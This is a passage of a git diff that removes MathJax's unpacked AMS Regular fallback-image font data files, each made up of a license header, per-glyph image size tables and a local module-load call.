- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x250C: [  // BOX DRAWINGS LIGHT DOWN AND RIGHT
-      [4,3,-2],[4,4,-2],[5,4,-3],[6,5,-3],[7,6,-4],[8,7,-5],[9,8,-6],[11,10,-7],
-      [13,12,-8],[15,13,-10],[18,17,-11],[21,19,-14],[25,23,-16],[30,26,-20]
-    ],
-    0x2510: [  // BOX DRAWINGS LIGHT DOWN AND LEFT
-      [4,3,-2],[4,4,-2],[5,4,-3],[6,5,-3],[7,6,-4],[8,7,-5],[9,9,-5],[11,10,-7],
-      [13,12,-8],[15,13,-10],[18,17,-11],[21,19,-14],[25,23,-16],[30,26,-20]
-    ],
-    0x2514: [  // BOX DRAWINGS LIGHT UP AND RIGHT
-      [4,3,0],[4,4,0],[5,4,0],[6,6,1],[7,6,1],[8,7,1],[9,8,1],[11,10,1],
-      [13,11,1],[15,13,1],[18,16,1],[21,19,1],[25,23,2],[30,27,2]
-    ],
-    0x2518: [  // BOX DRAWINGS LIGHT UP AND LEFT
-      [4,4,1],[4,4,1],[5,5,1],[6,6,1],[7,6,1],[8,7,1],[9,8,1],[11,10,1],
-      [13,11,1],[15,13,1],[18,16,1],[21,18,1],[25,23,2],[30,26,2]
-    ],
-    0x2571: [  // BOX DRAWINGS LIGHT DIAGONAL UPPER RIGHT TO LOWER LEFT
-      [6,7,2],[8,8,2],[9,9,2],[11,12,3],[12,13,3],[15,16,4],[17,18,4],[20,22,5],
-      [24,26,6],[29,30,7],[34,36,8],[40,43,10],[48,50,11],[57,59,13]
-    ],
-    0x2572: [  // BOX DRAWINGS LIGHT DIAGONAL UPPER LEFT TO LOWER RIGHT
-      [6,7,2],[8,8,2],[9,9,2],[11,12,3],[12,13,3],[15,16,4],[17,18,4],[20,22,5],
-      [24,26,6],[29,30,7],[34,36,8],[40,43,10],[48,50,11],[57,59,13]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/BoxDrawing.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/CombDiacritMarks.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/CombDiacritMarks.js
deleted file mode 100644
index 69e72151..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/CombDiacritMarks.js
+++ /dev/null
@@ -1,41 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/CombDiacritMarks.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x302: [  // COMBINING CIRCUMFLEX ACCENT
-      [18,3,-3],[21,3,-4],[25,3,-5],[29,4,-6],[34,5,-8],[40,5,-9],[47,6,-11],[56,8,-12],
-      [66,8,-16],[79,10,-19],[93,12,-21],[111,14,-26],[131,17,-30],[156,20,-36]
-    ],
-    0x303: [  // COMBINING TILDE
-      [17,2,-4],[20,2,-5],[23,4,-5],[28,5,-7],[33,4,-9],[39,5,-10],[46,6,-12],[55,6,-15],
-      [65,8,-17],[77,9,-21],[92,11,-25],[109,13,-29],[129,15,-35],[154,18,-41]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiacritMarks.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/Dingbats.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/Dingbats.js
deleted file mode 100644
index d81f6127..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/Dingbats.js
+++ /dev/null
@@ -1,41 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Dingbats.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x2713: [  // CHECK MARK
-      [6,6,1],[7,7,1],[8,8,1],[9,10,1],[11,11,1],[13,13,1],[15,15,1],[18,18,1],
-      [21,21,1],[25,26,2],[30,30,2],[35,35,2],[42,42,2],[50,50,3]
-    ],
-    0x2720: [  // MALTESE CROSS
-      [6,6,1],[7,7,1],[8,9,1],[10,10,1],[11,11,1],[13,13,1],[16,15,1],[19,18,1],
-      [22,21,1],[26,25,1],[31,30,1],[37,35,1],[44,42,2],[52,50,2]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Dingbats.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/EnclosedAlphanum.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/EnclosedAlphanum.js
deleted file mode 100644
index 0e61f523..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/EnclosedAlphanum.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/EnclosedAlphanum.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x24C8: [  // CIRCLED LATIN CAPITAL LETTER S
-      [7,6,1],[8,8,2],[9,9,2],[11,10,2],[13,12,2],[15,15,3],[18,17,3],[21,20,4],
-      [25,24,5],[30,29,6],[35,34,7],[42,41,8],[50,49,10],[59,58,12]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/EnclosedAlphanum.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/GeneralPunctuation.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/GeneralPunctuation.js
deleted file mode 100644
index 384e3b5b..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/GeneralPunctuation.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/GeneralPunctuation.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x2035: [  // REVERSED PRIME
-      [2,4,0],[3,5,0],[3,5,0],[3,6,-1],[4,7,-1],[5,9,-1],[5,10,-1],[6,12,-1],
-      [7,15,-1],[9,17,-1],[10,20,-2],[12,24,-2],[14,29,-2],[17,34,-3]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/GeneralPunctuation.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/GeometricShapes.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/GeometricShapes.js
deleted file mode 100644
index ffd548da..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/GeometricShapes.js
+++ /dev/null
@@ -1,69 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/GeometricShapes.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x25A0: [  // BLACK SQUARE
-      [5,5,0],[6,6,0],[8,7,0],[9,9,0],[10,10,0],[12,12,0],[15,14,0],[17,16,0],
-      [20,20,0],[24,23,0],[29,27,0],[34,32,0],[40,39,0],[48,46,0]
-    ],
-    0x25A1: [  // WHITE SQUARE
-      [5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,10,0],[12,12,0],[14,14,0],[17,16,0],
-      [21,20,0],[24,23,0],[29,27,0],[34,32,0],[40,39,0],[48,46,0]
-    ],
-    0x25B2: [  // BLACK UP-POINTING TRIANGLE
-      [5,5,1],[6,6,1],[7,7,1],[8,8,1],[9,9,1],[11,11,1],[13,13,1],[15,15,1],
-      [18,17,1],[21,20,1],[25,24,1],[30,28,1],[36,34,2],[42,40,2]
-    ],
-    0x25B3: [  // WHITE UP-POINTING TRIANGLE
-      [5,5,0],[6,5,0],[7,6,0],[8,8,1],[9,10,1],[11,11,1],[13,13,1],[15,15,1],
-      [18,17,1],[21,20,1],[25,24,1],[30,28,1],[36,34,2],[42,41,2]
-    ],
-    0x25B6: [  // BLACK RIGHT-POINTING TRIANGLE
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-      [20,17,2],[23,20,2],[28,24,2],[33,28,2],[39,33,3],[46,39,3]
-    ],
-    0x25BC: [  // BLACK DOWN-POINTING TRIANGLE
-      [5,5,1],[6,6,1],[7,7,1],[8,8,1],[9,9,1],[11,11,1],[13,13,1],[15,15,1],
-      [18,17,1],[21,20,1],[25,24,1],[30,28,1],[36,33,1],[42,40,2]
-    ],
-    0x25BD: [  // WHITE DOWN-POINTING TRIANGLE
-      [5,5,1],[6,6,1],[7,7,1],[8,8,1],[9,9,1],[11,11,1],[13,13,1],[15,15,1],
-      [18,17,1],[21,20,1],[25,24,1],[30,28,1],[36,33,1],[42,40,2]
-    ],
-    0x25C0: [  // BLACK LEFT-POINTING TRIANGLE
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],
-      [20,17,2],[23,20,2],[28,24,2],[33,28,2],[39,33,3],[46,39,3]
-    ],
-    0x25CA: [  // LOZENGE
-      [5,6,1],[6,8,2],[7,10,2],[8,11,2],[9,12,2],[11,15,3],[12,17,3],[15,21,4],
-      [17,24,4],[21,29,5],[25,35,6],[29,41,7],[34,48,8],[41,57,9]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/GeometricShapes.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/GreekAndCoptic.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/GreekAndCoptic.js
deleted file mode 100644
index 7ed6a18f..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/GreekAndCoptic.js
+++ /dev/null
@@ -1,41 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/GreekAndCoptic.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x3DD: [  // GREEK SMALL LETTER DIGAMMA
-      [5,6,2],[6,7,1],[8,8,2],[9,9,1],[10,11,2],[12,13,2],[15,15,2],[17,17,2],
-      [20,19,2],[24,23,3],[29,27,3],[34,33,4],[40,38,5],[48,46,6]
-    ],
-    0x3F0: [  // GREEK KAPPA SYMBOL
-      [6,3,0],[7,4,0],[8,5,0],[9,5,0],[11,7,0],[13,8,0],[15,9,0],[18,10,0],
-      [21,12,0],[25,15,0],[29,17,0],[35,21,0],[41,25,0],[49,29,0]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/GreekAndCoptic.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/Latin1Supplement.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/Latin1Supplement.js
deleted file mode 100644
index c94fb30e..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/Latin1Supplement.js
+++ /dev/null
@@ -1,49 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Latin1Supplement.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0xA5: [  // YEN SIGN
-      [6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,9,0],[13,11,0],[15,13,0],[18,16,0],
-      [21,19,0],[25,22,0],[29,27,0],[35,32,0],[41,38,0],[49,45,0]
-    ],
-    0xAE: [  // REGISTERED SIGN
-      [7,6,1],[8,8,2],[9,9,2],[11,10,2],[13,12,2],[16,15,3],[18,17,3],[22,20,4],
-      [26,24,5],[31,29,6],[36,34,7],[43,41,8],[51,49,10],[61,59,12]
-    ],
-    0xF0: [  // LATIN SMALL LETTER ETH
-      [4,5,0],[5,6,0],[5,8,0],[6,9,0],[8,11,0],[9,13,0],[10,15,0],[12,18,0],
-      [15,22,2],[17,25,1],[20,30,1],[24,36,1],[29,43,1],[34,51,1]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Latin1Supplement.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/LatinExtendedA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/LatinExtendedA.js
deleted file mode 100644
index 6b05d081..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/LatinExtendedA.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/LatinExtendedA.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x127: [  // LATIN SMALL LETTER H WITH STROKE
-      [4,5,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,12,0],[11,14,0],[13,16,0],
-      [16,19,0],[19,23,0],[22,27,0],[26,34,1],[31,40,1],[37,47,1]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/LatinExtendedA.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/LetterlikeSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/LetterlikeSymbols.js
deleted file mode 100644
index 2dddb79d..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/LetterlikeSymbols.js
+++ /dev/null
@@ -1,61 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/LetterlikeSymbols.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x210F: [  // stix-/hbar - Planck's over 2pi
-      [4,6,1],[5,7,1],[6,7,0],[7,10,1],[8,11,1],[10,13,1],[11,15,1],[13,18,1],
-      [16,21,1],[19,24,1],[22,29,1],[27,34,1],[32,40,1],[37,47,1]
-    ],
-    0x2127: [  // INVERTED OHM SIGN
-      [5,5,0],[6,6,0],[7,7,0],[8,10,1],[10,11,1],[12,13,1],[14,15,1],[16,17,1],
-      [19,20,1],[23,24,1],[27,28,1],[32,34,2],[38,40,2],[45,47,2]
-    ],
-    0x2132: [  // TURNED CAPITAL F
-      [4,5,0],[4,6,0],[5,7,0],[6,9,0],[7,10,0],[9,12,0],[10,14,0],[12,17,0],
-      [14,21,1],[17,24,1],[20,29,1],[24,34,1],[28,40,1],[33,47,1]
-    ],
-    0x2136: [  // BET SYMBOL
-      [6,7,1],[7,8,1],[8,9,1],[9,11,1],[11,12,1],[13,14,1],[15,16,1],[17,19,1],
-      [21,23,1],[24,27,1],[28,31,1],[34,37,1],[40,45,2],[48,53,2]
-    ],
-    0x2137: [  // GIMEL SYMBOL
-      [4,7,1],[5,8,1],[6,9,1],[6,11,1],[7,12,1],[8,14,1],[10,16,1],[11,20,2],
-      [13,24,2],[15,28,2],[18,32,2],[21,38,2],[26,46,3],[30,54,3]
-    ],
-    0x2138: [  // DALET SYMBOL
-      [5,7,1],[6,8,1],[7,9,1],[8,11,1],[9,12,1],[11,14,1],[13,16,1],[15,19,1],
-      [18,24,2],[22,28,2],[26,32,2],[30,39,3],[36,46,3],[43,54,3]
-    ],
-    0x2141: [  // TURNED SANS-SERIF CAPITAL G
-      [4,6,1],[5,7,1],[6,8,1],[7,10,1],[8,11,1],[10,13,1],[12,15,1],[14,18,1],
-      [16,21,1],[19,25,1],[23,30,2],[27,35,2],[32,41,2],[38,49,2]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/LetterlikeSymbols.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/Main.js
deleted file mode 100644
index 1c351cd2..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/Main.js
+++ /dev/null
@@ -1,34 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/AMS/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/MathOperators.js b/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/MathOperators.js
deleted file mode 100644
index c6410749..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/unpacked/MathOperators.js
+++ /dev/null
@@ -1,477 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/AMS/Regular/MathOperators.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_AMS": {
-    0x2201: [  // COMPLEMENT
-      [3,6,0],[4,7,0],[5,9,0],[6,11,1],[7,13,1],[8,16,1],[9,18,1],[11,21,1],
-      [13,25,1],[15,29,1],[18,35,1],[21,41,1],[25,49,2],[30,58,2]
-    ],
-    0x2204: [  // THERE DOES NOT EXIST
-      [4,8,2],[4,10,2],[5,11,2],[6,12,2],[7,15,3],[9,18,3],[10,22,4],[12,24,4],
-      [14,29,5],[17,35,6],[20,41,7],[24,48,8],[28,57,9],[33,68,11]
-    ],
-    0x2205: [  // EMPTY SET
-      [5,4,0],[6,5,0],[8,6,0],[9,7,0],[11,8,0],[12,10,0],[14,12,0],[17,15,1],
-      [20,18,1],[24,21,1],[29,24,1],[34,29,1],[40,34,1],[48,40,1]
-    ],
-    0x220D: [  // SMALL CONTAINS AS MEMBER
-      [3,4,0],[4,5,1],[5,6,1],[6,7,1],[7,8,1],[8,9,1],[9,10,1],[11,12,1],
-      [13,14,1],[16,16,1],[18,19,1],[22,22,1],[26,26,1],[31,30,1]
-    ],
-    0x2212: [  // MINUS SIGN
-      [3,1,-1],[4,1,-2],[5,1,-2],[5,1,-2],[6,1,-3],[7,1,-4],[9,2,-4],[10,2,-5],
-      [12,2,-6],[14,2,-7],[17,2,-9],[20,3,-10],[23,3,-12],[28,3,-15]
-    ],
-    0x2214: [  // DOT PLUS
-      [5,7,1],[6,8,1],[8,9,1],[9,11,2],[10,13,2],[12,15,2],[14,17,2],[17,21,3],
-      [20,25,3],[24,30,4],[28,34,4],[34,41,5],[40,49,6],[48,58,7]
-    ],
-    0x2216: [  // SET MINUS
-      [5,4,1],[6,5,1],[7,6,1],[9,7,1],[10,7,1],[12,9,1],[14,10,1],[16,11,1],
-      [19,13,1],[23,16,1],[27,18,1],[32,22,2],[38,26,2],[46,31,2]
-    ],
-    0x221D: [  // PROPORTIONAL TO
-      [5,4,0],[7,4,0],[7,5,0],[9,6,0],[11,7,0],[13,8,0],[15,9,0],[17,11,0],
-      [21,14,0],[24,16,0],[29,18,-1],[34,21,-1],[40,26,-1],[48,31,-1]
-    ],
-    0x2220: [  // ANGLE
-      [5,5,0],[6,6,0],[7,7,0],[8,9,0],[10,10,0],[12,12,0],[13,14,0],[16,17,0],
-      [19,20,0],[22,23,0],[27,28,0],[31,33,0],[37,39,0],[44,46,0]
-    ],
-    0x2221: [  // MEASURED ANGLE
-      [5,6,1],[6,7,1],[7,8,1],[8,10,1],[10,11,1],[12,13,1],[14,15,1],[16,18,1],
-      [19,21,1],[23,25,1],[27,29,1],[32,35,1],[38,42,2],[45,49,2]
-    ],
-    0x2222: [  // SPHERICAL ANGLE
-      [5,5,1],[6,6,1],[7,7,1],[8,8,1],[10,9,1],[12,11,1],[13,12,1],[16,15,2],
-      [19,18,2],[22,21,2],[27,24,2],[31,29,3],[37,34,3],[44,41,4]
-    ],
-    0x2223: [  // DIVIDES
-      [1,4,1],[1,5,1],[2,6,1],[2,7,1],[2,7,1],[2,9,1],[3,10,1],[4,11,1],
-      [4,13,1],[5,16,1],[6,18,1],[7,22,2],[8,26,2],[9,31,2]
